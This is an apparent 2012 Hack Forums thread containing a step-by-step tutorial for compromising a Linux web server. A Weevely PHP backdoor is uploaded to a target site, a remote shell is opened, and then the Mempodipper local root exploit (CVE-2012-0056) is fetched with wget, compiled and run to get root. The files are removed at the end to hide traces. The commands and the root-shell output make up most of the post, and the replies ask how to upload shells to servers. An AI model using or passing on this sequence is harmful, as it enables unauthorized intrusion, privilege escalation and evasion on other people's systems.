

Forum:[Hack Forums](#)

Thread: [\[TUT\] weeveely backdoor to root tutorial \(easy\)\[linux box\]](#)

Mind Hacker - November 1, 2012, 12:42 pm

Weeveely to root tutorial

```
wget https://github.com/downloads/epinna/Weeveely/weeveely-0.7.1.tar.gz
tar -zxvf weeveely-0.7.1.tar.gz
cd to the new dir
now type ./weeveely.py generate <password>
```

<password> is the bit you change to any password
EG ./weeveely.py generate Password123

this will create a weeveely.php file in your current di

if you're sill unsure this is an in depth tutorial on this <https://github.com/epinna/Weeveely/wiki/Tutorial>

Now once you have uploaded you weeveely.php file to the target server and you know what dir to locate it in we go onto the next step

connecting to your backdoor
./weeveely.py <http://www.targetsite.com/dir/weeveely.php> <password>

the <password> is what you chose when making the backdoor

Should look like this:

```
user@IMNOTAPC:~$ ./weeveely.py http://xx.xx/weeveely.php Password123
```

```
| | | |--.-----.---' |--.
| | | | -_ | -_ | | -_ | | |
|_|_|_|_|_|/|_|_|_|_|_| | v0.7.1
|_|
Stealth tiny web shell
```

[+] Starting terminal, shell probe may take a while
[+] List modules with <tab> and show help with :show [module name]

now that we have the backdoor its time to find out the linux kernel version
type:
uname -a
response:

```
Linux xx.miniserver.com 2.6.39.4-x1 #1 SMP Wed Oct 26 11:39:05 GMT 2011 i686 GNU/Linux
```

Note the ker version is 2.6.39, there is a local root exploit for this, so we can google
"2.6.39 local root exploit"
there is one on exploit-db

now I go back to my shell then type:

```
cd /tmp
```

this is because /tmp will always let you write the file to it

and type:

```
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
```

then type:

```
gcc -o test mempodipper.c
```

replace mempodipper.c with the exploit suited to your serve

now to set permissions :

```
chmod u+x test
```

now to run:

```
./test
```

```
==
```

```
=  Mempodipper  =
```

```
= by zx2c4  =
```

```
= Jan 21, 2012  =
```

```
==
```

```
[+] Ptracing su to find next instruction without reading binary.
```

```
[+] Creating ptrace pipe.
```

```
[+] Forking ptrace child.
```

```
[+] Waiting for ptraced child to give output on syscalls.
```

```
[+] Ptrace_traceme'ing process.
```

```
[+] Error message written. Single stepping to find address.
```

```
[+] Resolved call address to 0x8049984.
```

```
[+] Opening socketpair.
```

```
[+] Waiting for transferred fd in parent.
```

```
[+] Executing child from child fork.
```

```
[+] Opening parent mem /proc/411/mem in child.
```

```
[+] Sending fd 6 to parent.
```

```
[+] Received fd at 6.
```

```
[+] Assigning fd 6 to stderr.
```

```
[+] Calculating su padding.
```

```
[+] Seeking to offset 0x8049978.
```

```
[+] Executing su with shellcode.
```

```
root@xx.miniserver.com:~#
```

```
YOU HAVE ROOT :D
```

don't forget to delete them

```
rm -r <filename>
```

Mormaii - November 1, 2012, 12:45 pm

Why not share it with everyone instead of you selecting who to give information to?

Mind Hacker - November 1, 2012, 12:46 pm

(Nov 1, 2012 12:45 PM)mormaii2 Wrote: [\[CITE\]](#) Why not share it with everyone instead of you selecting who to give information to?

A) it keep the thread alive

B) it stops people asking how to get to the part where they upload a .php file

Mormaii - November 1, 2012, 12:48 pm

(Nov 1, 2012 12:46 PM)Mind Hacker Wrote: [\[CITE\]](#) A) it keep the thread alive

B) it stops people asking how to get to the part where they upload a .php file

A) Why does it matter if the thread is alive or not? If people need it/find it useful they'll use it anyway wether the thread is alive or not.

B) They'll ask you anyway if they don't know, if you don't want to answer them just don't.

Mind Hacker - November 1, 2012, 12:50 pm

(Nov 1, 2012 12:48 PM)mormaii2 Wrote: [\[CITE\]](#) A) Why does it matter if the thread is alive or not? If people need it/find it useful they'll use it anyway wether the thread is alive or not.

B) They'll ask you anyway if they don't know, if you don't want to answer them just don't.

Your argument is valid. you win, watch this thread crash and burn ;)

Mormaii - November 1, 2012, 12:51 pm

(Nov 1, 2012 12:50 PM)Mind Hacker Wrote: [\[CITE\]](#) Your argument is valid. you win, watch this thread crash and burn ;)

Well at least post the tutorial here so people can see it, if they find it really good and useful i'm sure they'll thank you.

Jae? - November 1, 2012, 12:56 pm

As Mormaii2 said, you should post the tutorial on the forums rather than PB as it does look pretty good as it is. Maybe you could write a little more for it.

Dajmond - November 1, 2012, 12:58 pm

anything pictures? but good tutor :-)

Mind Hacker - November 1, 2012, 12:58 pm

(Nov 1, 2012 12:56 PM)Jewel Wrote: [\[CITE\]](#) As Mormaii2 said, you should post the tutorial on the forums rather than PB

as it does look pretty good as it is. Maybe you could write a little more for it.

not quite sure what i could add to it, hmm maybe a maintaining access and cleaning up properly bit :)

(Nov 1, 2012 12:58 PM)Dajmond Wrote: [\[CITE\]](#) anything pictures? but good tutor :-)

well i'd have to edit all the pictures as i don't want the server disclosing :)

MireX - November 1, 2012, 1:15 pm

I never heard of "Weevely" before but it is worth to remember.

I'll definitely try this

Mind Hacker - November 1, 2012, 1:18 pm

(Nov 1, 2012 01:15 PM)MireX Wrote: [\[CITE\]](#) I never heard of "Weevely" before but it is worth to remember.

I'll definitely try this

I find it's much faster than web shells

AugustFackYou - March 27, 2016, 11:07 am

How to upload to a Web Server?

devrajashwin - August 14, 2016, 8:33 am

i have a problem .

weevely ,
some main arguments are missing plz help,

[+] weevely 3.2.0

[!] Error: too few arguments

[+] Run terminal to the target

weevely <URL> <password> [cmd]

[+] Load session file

weevely session <path> [cmd]

[+] Generate backdoor agent

weevely generate <password> <path>

iam suing kali rolling and also install all the things as u mension in that ,
and when i run i miss some of the argumnet ?